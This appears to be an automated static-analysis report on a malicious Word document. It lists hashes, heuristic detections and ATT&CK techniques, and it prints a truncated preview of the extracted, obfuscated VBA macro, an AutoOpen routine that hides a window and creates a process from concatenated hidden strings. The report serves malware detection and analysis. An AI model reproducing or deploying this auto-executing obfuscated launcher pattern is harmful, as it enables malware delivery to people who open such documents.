Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9eca651c74880a4…

MALICIOUS

Office (OLE)

141.8 KB Created: 2019-03-20 08:30:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0b8b0ecbf47606bfc639003927111051 SHA-1: 275e1c846cc2199c227b47185e8dde11ad778c58 SHA-256: a9eca651c74880a4879ef98dabf00f9d29cecb7de47e107ffbfb082252db7cf9
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses GetObject to execute obfuscated code. The ClamAV detection and heuristic firings strongly indicate malicious intent, likely to download and execute a second-stage payload. The obfuscated nature of the VBA code and the lack of clear indicators for a specific family lead to an 'unknown family' classification.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6902288-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6902288-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14538 bytes
SHA-256: 9f1b43fbc8e97aa45eccccaa99c87cef1e304c98a619cacc99decf01c07f2ca6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zBBAAw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tAZQ_B"
Attribute VB_Base = "0{635A0618-116F-42DC-81B5-3D0498827A3E}{EC4DE146-1DC1-4C0D-81EE-DAD1FE0514C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "nUQUBD"
Sub autoopen()
On Error Resume Next
   If HBAw_Q4A = TGABUoUA Then
      dcABAAx = 720773148 * Hex(573673709) / 60407271 + Sqr(978585091) * 916843779 / CInt(945231407) * (882288782 * 418057296)
      BACwAU = (866185332 - Chr(lAGBQ_) / HAkA1BZ / 881700869 + z_ABAU / Fix(554426551 + Log(KkU1B4A * Sgn(914323785) + l1Zo_A / CSng(254300688))))
End If
   If wD_QBU = S1UAkA Then
      TDocAXU = 99659485 * Hex(20058333) / 739469662 + Sqr(932776801) * 553076985 / CInt(159002522) * (844528018 * 806634912)
      nGGABwA = (652722581 - Chr(UxQDwCQ) / VkAQDU / 529044965 + jCZ_ADD / Fix(654645913 + Log(bBBAUA * Sgn(307111307) + iU44wZ / CSng(869714904))))
End If
   If vABxAcXA = AADUZcA Then
      BD_4DAUc = 236890668 * Hex(281483848) / 980791537 + Sqr(484035143) * 132576297 / CInt(161533978) * (334443729 * 615884484)
      PAAAAQA = (555775054 - Chr(pD1AAC) / WAQBocC / 778485193 + toAQGDAk / Fix(489830330 + Log(zQZDwX * Sgn(165771220) + WXQcXD / CSng(836112643))))
End If
Set wCGxUxB = GetObject(tAZQ_B.UAABUZA)
   If vwAxAk = fCxDcA Then
      txAZAA = 680722426 * Hex(831329719) / 788319246 + Sqr(210643544) * 629989943 / CInt(942570148) * (30160108 * 125474389)
      zBBoGXA = (583751228 - Chr(QA_AC1) / NABkxB / 545360112 + C_AA_D / Fix(466911424 + Log(zQAUBBw * Sgn(946967472) + TDAAAA / CSng(858360468))))
End If
   If YAA_k1C_ = GwDGUC Then
      XACAAUAA = 79920443 * Hex(188534406) / 647757044 + Sqr(538919117) * 341250610 / CInt(615846956) * (335755752 * 273911447)
      Gc4AQZ = (969397979 - Chr(IcABAAAA) / KQAA1w / 756045161 + tZoAAU / Fix(833120137 + Log(BA_1AA * Sgn(879168603) + jZ1AAU / CSng(262616047))))
End If
wCGxUxB.ShowWindow = 667434 - 667434
   If wZxBxA = uwD4Uxc Then
      RoQ1UA = 935210567 * Hex(786963101) / 962829557 + Sqr(656993655) * 188174667 / CInt(467828876) * (245010151 * 755906919)
      pwBcAAB_ = (960241938 - Chr(bDQ_AA) / ZCcwoDAA / 991163281 + h_AQoA / Fix(153933426 + Log(bxAAx_ * Sgn(406673217) + KxGAQDA / CSng(807236495))))
End If
   If LAADwww = WBBAkCU Then
      GwAQCBw = 84963699 * Hex(866927520) / 191231961 + Sqr(327337088) * 19461144 / CInt(582692977) * (954043387 * 10320805)
      f4DQAAA = (746725079 - Chr(lXQGAB) / iCUU1B / 122067907 + kDB4AX / Fix(477149810 + Log(LBA_oQ * Sgn(953599257) + tAZG_CC / CSng(428401662))))
End If
   If vXx_XAZ = tUUAADw Then
      dUDADBAA = 930209051 * Hex(82527598) / 907534685 + Sqr(451648126) * 324177419 / CInt(149392085) * (49429930 * 756405424)
      qCAAkUA = (278038076 - Chr(ZUCUBwDX) / rAGUcA / 570098903 + dAoUAUB / Fix(294503861 + Log(wcDAD1Q * Sgn(138655485) + GABUQUAA / CSng(226354254))))
End If
GetObject(tAZQ_B.FCUAXBA). _
Create# jUBUAxkx + tAZQ_B.NU_cwDA4 + kBDXAABk + tAZQ_B.IxocAABX + DXAQ_A + tAZQ_B.BABDDQDD + n1AwAA, iUGQxZo, wCGxUxB, NA4cAUk
   If HXAAAUAA = GoxAQA1 Then
      LA1AXo = 344603657 * Hex(604161073) / 857313564 + Sqr(266471008) * 511869992 / CInt(77334159) * (770356485 * 269241467)
      JUAkD1G = (83109844 - Chr(XA_kGA) / XcooCAAD / 56842516 + RDADQDD / Fix(219749515 + Log(wkX_AAQA * Sgn(720521005) + LxAGZ1 / CSng(731589832))))
End If
   If O4AAoBAx = RAAxC4A Then
      MA_BAcA = 149530676 * Hex(930368712) / 950885847 + Sqr(248529490) * 847847449 / CInt(435290086) * (251116524 * 775834819)
      fABAXAAC = (977898552 - Chr(mUCGxUc) / mZAAAkAA / 814876213 + BCcxcAAA / Fix(515372193 + Log(RAAUwxBB * Sgn(734246969) + LXkAAA / CSng(84019171))))
End If
   
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.